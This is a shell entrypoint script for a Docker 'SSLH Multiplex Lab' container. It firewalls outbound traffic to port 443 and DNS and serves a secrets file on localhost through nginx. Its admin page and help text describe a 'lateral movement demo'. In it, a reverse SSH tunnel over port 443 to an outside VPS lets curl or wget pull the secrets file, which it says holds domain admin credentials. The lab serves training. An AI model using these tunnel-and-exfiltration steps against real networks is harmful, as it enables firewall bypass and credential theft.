387 lines
14 KiB
Bash
Executable File
387 lines
14 KiB
Bash
Executable File
#!/bin/sh
|
|
# Don't use set -e as we want to continue even if some commands fail
|
|
|
|
# Force use of public DNS servers to avoid Docker DNS cache issues
|
|
# Docker's DNS (192.168.65.7) may cache NXDOMAIN responses
|
|
# Using public DNS ensures fresh lookups
|
|
cat > /etc/resolv.conf <<EOF
|
|
nameserver 8.8.8.8
|
|
nameserver 1.1.1.1
|
|
nameserver 8.8.4.4
|
|
EOF
|
|
|
|
# Configure iptables to only allow TCP 443 and UDP 53 (DNS) outbound
|
|
# This simulates a restricted network environment (e.g., behind a VPN/firewall)
|
|
# Use REJECT instead of DROP so connections fail immediately
|
|
# TCP connections get tcp-reset, UDP gets icmp-port-unreachable
|
|
# Note: No INPUT rules needed - reverse SSH tunnel handles forwarding internally
|
|
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
|
|
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
|
|
iptables -A OUTPUT -p tcp -j REJECT --reject-with tcp-reset
|
|
iptables -A OUTPUT -p udp -j REJECT --reject-with icmp-port-unreachable
|
|
iptables -A OUTPUT -j REJECT --reject-with icmp-proto-unreachable
|
|
|
|
# Test DNS resolution to ensure it works
|
|
if ! nslookup google.com >/dev/null 2>&1; then
|
|
echo "Warning: DNS resolution test failed. DNS may not be working properly."
|
|
fi
|
|
|
|
# Clear DNS cache if nscd is available
|
|
if command -v nscd >/dev/null 2>&1; then
|
|
nscd -i hosts 2>/dev/null || true
|
|
nscd -i passwd 2>/dev/null || true
|
|
nscd -i group 2>/dev/null || true
|
|
fi
|
|
|
|
# Force DNS refresh by clearing any local DNS cache
|
|
# This ensures subdomain resolution works immediately
|
|
if [ -f /etc/nsswitch.conf ]; then
|
|
# Ensure hosts: files dns is set for proper DNS resolution
|
|
if ! grep -q "^hosts:.*dns" /etc/nsswitch.conf 2>/dev/null; then
|
|
sed -i 's/^hosts:.*/hosts: files dns/' /etc/nsswitch.conf 2>/dev/null || true
|
|
fi
|
|
fi
|
|
|
|
# Test DNS resolution for common domains to verify DNS is working
|
|
echo "Testing DNS resolution..."
|
|
if nslookup google.com >/dev/null 2>&1; then
|
|
echo "DNS resolution: OK (using 8.8.8.8, 1.1.1.1)"
|
|
else
|
|
echo "WARNING: DNS resolution test failed"
|
|
fi
|
|
|
|
# Function to start nginx HTTP server
|
|
start_http_server() {
|
|
if command -v nginx >/dev/null 2>&1; then
|
|
# Create web root directory
|
|
mkdir -p /var/www/html
|
|
|
|
# Create nginx configuration for port 8888
|
|
# Create sites-available directory if it doesn't exist
|
|
mkdir -p /etc/nginx/sites-available /etc/nginx/sites-enabled
|
|
|
|
# Create a minimal nginx config that works
|
|
# Use default_server to ensure it's used
|
|
cat > /etc/nginx/sites-available/lab-server <<'NGINX'
|
|
server {
|
|
listen 127.0.0.1:8888 default_server;
|
|
server_name localhost;
|
|
root /var/www/html;
|
|
index index.html;
|
|
|
|
access_log /var/log/nginx/lab-access.log;
|
|
error_log /var/log/nginx/lab-error.log;
|
|
|
|
# Ensure we can serve files
|
|
location / {
|
|
try_files $uri $uri/ =404;
|
|
}
|
|
|
|
# Serve secrets.txt as plain text
|
|
location /secrets.txt {
|
|
default_type text/plain;
|
|
try_files $uri =404;
|
|
}
|
|
}
|
|
NGINX
|
|
|
|
# Enable the site
|
|
ln -sf /etc/nginx/sites-available/lab-server /etc/nginx/sites-enabled/
|
|
rm -f /etc/nginx/sites-enabled/default
|
|
|
|
# Ensure nginx main config includes sites-enabled
|
|
# Ubuntu nginx-light should already have this, but verify and fix if needed
|
|
if ! grep -q "include.*sites-enabled" /etc/nginx/nginx.conf 2>/dev/null; then
|
|
# Backup original config
|
|
cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak 2>/dev/null || true
|
|
# Add include directive in http block
|
|
sed -i '/^[[:space:]]*http[[:space:]]*{/,/^[[:space:]]*}/ {
|
|
/^[[:space:]]*include[[:space:]]*\/etc\/nginx\/sites-enabled/! {
|
|
/^[[:space:]]*include[[:space:]]*mime.types/a\
|
|
include /etc/nginx/sites-enabled/*;
|
|
}
|
|
}' /etc/nginx/nginx.conf 2>/dev/null || \
|
|
sed -i '/include.*mime.types/a\ include /etc/nginx/sites-enabled/*;' /etc/nginx/nginx.conf 2>/dev/null || true
|
|
fi
|
|
|
|
# Create admin page
|
|
cat > /var/www/html/index.html <<'HTML'
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<title>Lab Admin Panel</title>
|
|
<meta charset="utf-8">
|
|
<style>
|
|
body {
|
|
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
|
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
|
margin: 0;
|
|
padding: 20px;
|
|
color: #333;
|
|
}
|
|
.container {
|
|
max-width: 800px;
|
|
margin: 0 auto;
|
|
background: white;
|
|
border-radius: 10px;
|
|
padding: 30px;
|
|
box-shadow: 0 10px 30px rgba(0,0,0,0.3);
|
|
}
|
|
h1 {
|
|
color: #667eea;
|
|
border-bottom: 3px solid #764ba2;
|
|
padding-bottom: 10px;
|
|
}
|
|
.info-box {
|
|
background: #f5f5f5;
|
|
border-left: 4px solid #667eea;
|
|
padding: 15px;
|
|
margin: 20px 0;
|
|
border-radius: 5px;
|
|
}
|
|
.link {
|
|
display: inline-block;
|
|
margin: 10px 10px 10px 0;
|
|
padding: 10px 20px;
|
|
background: #667eea;
|
|
color: white;
|
|
text-decoration: none;
|
|
border-radius: 5px;
|
|
transition: background 0.3s;
|
|
}
|
|
.link:hover {
|
|
background: #764ba2;
|
|
}
|
|
code {
|
|
background: #f5f5f5;
|
|
padding: 2px 6px;
|
|
border-radius: 3px;
|
|
font-family: 'Courier New', monospace;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div class="container">
|
|
<h1>Lab Admin Panel</h1>
|
|
<div class="info-box">
|
|
<h2>System Information</h2>
|
|
<p><strong>Server:</strong> SSLH Multiplex Lab - Client Container</p>
|
|
<p><strong>Access:</strong> Localhost only (via reverse SSH tunnel)</p>
|
|
<p><strong>Purpose:</strong> Lateral movement demonstration</p>
|
|
</div>
|
|
<div class="info-box">
|
|
<h2>Available Resources</h2>
|
|
<p>This server is accessible only through the reverse SSH tunnel established from the container.</p>
|
|
<a href="/secrets.txt" class="link">View Secrets File</a>
|
|
</div>
|
|
<div class="info-box">
|
|
<h2>Lateral Movement Demo</h2>
|
|
<p>This demonstrates accessing container resources from a compromised VPS:</p>
|
|
<ol>
|
|
<li>Establish reverse tunnel: <code>ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.domain.com -p 443</code></li>
|
|
<li>From VPS, access: <code>curl http://localhost:2222/secrets.txt</code></li>
|
|
<li>Or browse: <code>curl http://localhost:2222/</code></li>
|
|
</ol>
|
|
</div>
|
|
</div>
|
|
</body>
|
|
</html>
|
|
HTML
|
|
|
|
# Copy secrets.txt to web root
|
|
if [ -f /secrets.txt ]; then
|
|
cp /secrets.txt /var/www/html/secrets.txt
|
|
else
|
|
echo "File not found - secrets.txt should be mounted" > /var/www/html/secrets.txt
|
|
fi
|
|
|
|
# Start nginx on port 8888
|
|
echo "Starting nginx on port 8888..."
|
|
|
|
# Create nginx log directory if it doesn't exist
|
|
mkdir -p /var/log/nginx
|
|
chown -R www-data:www-data /var/log/nginx 2>/dev/null || chown -R nginx:nginx /var/log/nginx 2>/dev/null || true
|
|
|
|
# Ensure nginx can write to log directory
|
|
chmod 755 /var/log/nginx 2>/dev/null || true
|
|
|
|
# Kill any existing nginx processes
|
|
pkill -9 nginx 2>/dev/null || true
|
|
sleep 1
|
|
|
|
# Test nginx configuration
|
|
nginx -t >/tmp/nginx-test.log 2>&1
|
|
TEST_RESULT=$?
|
|
if [ $TEST_RESULT -ne 0 ]; then
|
|
echo "ERROR: nginx configuration test failed"
|
|
cat /tmp/nginx-test.log
|
|
echo " Main config:"
|
|
cat /etc/nginx/nginx.conf | head -30
|
|
echo " Site config:"
|
|
cat /etc/nginx/sites-available/lab-server
|
|
return 1
|
|
fi
|
|
echo " Nginx configuration test passed"
|
|
|
|
# Start nginx as daemon
|
|
# Redirect stderr to capture any startup errors
|
|
nginx 2>/tmp/nginx-start-err.log || {
|
|
echo "ERROR: nginx failed to start (exit code: $?)"
|
|
cat /tmp/nginx-start-err.log 2>/dev/null || true
|
|
cat /var/log/nginx/error.log 2>/dev/null || true
|
|
return 1
|
|
}
|
|
|
|
# Wait for nginx to fully start and verify it's running
|
|
for i in 1 2 3 4 5; do
|
|
if pgrep -x nginx >/dev/null 2>&1; then
|
|
break
|
|
fi
|
|
if [ $i -eq 5 ]; then
|
|
echo "ERROR: nginx process not found after start attempts"
|
|
cat /tmp/nginx-start-err.log 2>/dev/null || true
|
|
cat /var/log/nginx/error.log 2>/dev/null || true
|
|
return 1
|
|
fi
|
|
sleep 1
|
|
done
|
|
|
|
echo " Nginx process started (PID: $(pgrep -x nginx | head -1))"
|
|
|
|
# Wait a bit more for nginx to fully initialize and bind to port
|
|
sleep 2
|
|
|
|
# Verify nginx master and worker processes
|
|
NGINX_COUNT=$(pgrep -x nginx | wc -l)
|
|
if [ "$NGINX_COUNT" -lt 2 ]; then
|
|
echo " WARNING: Only $NGINX_COUNT nginx process(es) found (expected at least 2: master + worker)"
|
|
fi
|
|
|
|
# Verify it's listening on port 8888
|
|
LISTENING=0
|
|
if command -v ss >/dev/null 2>&1; then
|
|
if ss -ln 2>/dev/null | grep -q ":8888"; then
|
|
LISTENING=1
|
|
fi
|
|
elif command -v netstat >/dev/null 2>&1; then
|
|
if netstat -ln 2>/dev/null | grep -q ":8888"; then
|
|
LISTENING=1
|
|
fi
|
|
fi
|
|
|
|
if [ "$LISTENING" -eq 1 ]; then
|
|
echo "HTTP server (nginx) started on 127.0.0.1:8888"
|
|
echo " Admin page: http://127.0.0.1:8888/"
|
|
echo " Secrets: http://127.0.0.1:8888/secrets.txt"
|
|
# Test that it actually responds with retries
|
|
if command -v curl >/dev/null 2>&1; then
|
|
RESPONDING=0
|
|
for i in 1 2 3; do
|
|
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 http://127.0.0.1:8888/ 2>/dev/null || echo "000")
|
|
if echo "$HTTP_CODE" | grep -qE "200|404"; then
|
|
RESPONDING=1
|
|
echo " Verified: Server responding correctly (HTTP $HTTP_CODE)"
|
|
break
|
|
fi
|
|
sleep 1
|
|
done
|
|
if [ "$RESPONDING" -eq 0 ]; then
|
|
echo " WARNING: Server listening but not responding to HTTP requests"
|
|
echo " Test: curl -v http://127.0.0.1:8888/"
|
|
fi
|
|
fi
|
|
return 0
|
|
else
|
|
echo "WARNING: nginx is running but not listening on port 8888"
|
|
echo " Process status:"
|
|
pgrep -a nginx || true
|
|
echo " Listening ports:"
|
|
(ss -ln 2>/dev/null || netstat -ln 2>/dev/null) | grep -E "(8888|LISTEN)" || true
|
|
echo " Error log:"
|
|
tail -30 /var/log/nginx/error.log 2>/dev/null || cat /tmp/nginx.log 2>/dev/null || true
|
|
return 1
|
|
fi
|
|
else
|
|
echo "ERROR: nginx not available"
|
|
return 1
|
|
fi
|
|
}
|
|
|
|
# Start lightweight HTTP server on localhost:8888
|
|
# This serves a demo admin page and secrets.txt via reverse tunnel
|
|
# Only accessible through reverse SSH tunnel (doesn't bypass network restrictions)
|
|
|
|
# Ensure secrets.txt exists
|
|
if [ ! -f /secrets.txt ]; then
|
|
echo "WARNING: /secrets.txt not found, creating placeholder"
|
|
echo "File not found - secrets.txt should be mounted" > /secrets.txt
|
|
fi
|
|
|
|
# Start the HTTP server (nginx)
|
|
echo "Starting HTTP server (nginx)..."
|
|
if start_http_server; then
|
|
echo "HTTP server ready for reverse tunnel access"
|
|
else
|
|
echo "ERROR: Failed to start HTTP server"
|
|
echo " Check logs: cat /var/log/nginx/error.log"
|
|
echo " Check nginx config: nginx -t"
|
|
echo " Check if port is in use: ss -ln | grep 8888"
|
|
fi
|
|
|
|
# Display connection examples
|
|
cat <<EOF
|
|
SSLH Multiplex Lab - Client Container
|
|
======================================
|
|
|
|
This container has restricted network access:
|
|
- Only TCP port 443 (outbound) is allowed - for SSLH multiplexed services
|
|
- Only UDP port 53 (outbound) is allowed - for DNS queries
|
|
- All other outbound traffic is blocked (simulating VPN/firewall restrictions)
|
|
|
|
Example connections:
|
|
- SSH: ssh -i /keys/id_ed25519 user@ssh.chaosengineering.cc -p 443
|
|
- HTTPS: curl https://chaosengineering.cc
|
|
- SMB: smbclient //smb.chaosengineering.cc/share -p 443 -U user
|
|
- SMB (list shares): smbclient -L //smb.chaosengineering.cc -p 443 -U user
|
|
- SMB (connect): smbclient //smb.chaosengineering.cc/share -p 443 -U user%password
|
|
|
|
Troubleshooting DNS:
|
|
- If DNS resolution fails, use the server IP address directly
|
|
- Server information is available in: /server-info.txt
|
|
- Test DNS: nslookup google.com
|
|
- Check DNS config: cat /etc/resolv.conf
|
|
|
|
Example with IP (if DNS fails):
|
|
cat /server-info.txt
|
|
ssh testuser@<server-ip> -p 443
|
|
|
|
WireGuard configs are available in /wireguard/
|
|
SSH keys are available in /keys/
|
|
Domain admin credentials are available in /secrets.txt
|
|
|
|
Lateral Movement Demo:
|
|
- Establish SSH reverse shell to VPS:
|
|
ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.chaosengineering.cc -p 443
|
|
- Keep that SSH session open (the tunnel stays active while connected)
|
|
- From the VPS shell:
|
|
* View admin page: curl http://127.0.0.1:2222/ (or http://localhost:2222/)
|
|
* Retrieve secrets: curl http://127.0.0.1:2222/secrets.txt > /tmp/secrets.txt
|
|
* Or: wget http://127.0.0.1:2222/secrets.txt -O /tmp/secrets.txt
|
|
- The HTTP server listens on 127.0.0.1:8888 and is only accessible via reverse tunnel
|
|
- This demonstrates lateral movement: accessing container resources from compromised VPS
|
|
- Note: The reverse tunnel must stay active (keep SSH session open)
|
|
|
|
Troubleshooting:
|
|
- Verify server is running: ps aux | grep nginx
|
|
- Check if listening: ss -ln | grep 8888 (or: netstat -ln | grep 8888)
|
|
- Test from container: curl http://127.0.0.1:8888/ or curl http://127.0.0.1:8888/secrets.txt
|
|
- Check server logs: cat /var/log/nginx/error.log
|
|
- Check nginx config: nginx -t
|
|
- Verify reverse tunnel: On VPS, check if port 2222 is listening: ss -ln | grep 2222
|
|
- If tunnel fails: Check VPS SSH config allows GatewayPorts (default: no, but localhost binding should work)
|
|
- Alternative syntax (if above fails): ssh -R 2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
|
|
- Debug tunnel: Add -v flag to SSH: ssh -v -R 127.0.0.1:2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
|
|
EOF
|
|
|
|
exec "$@"
|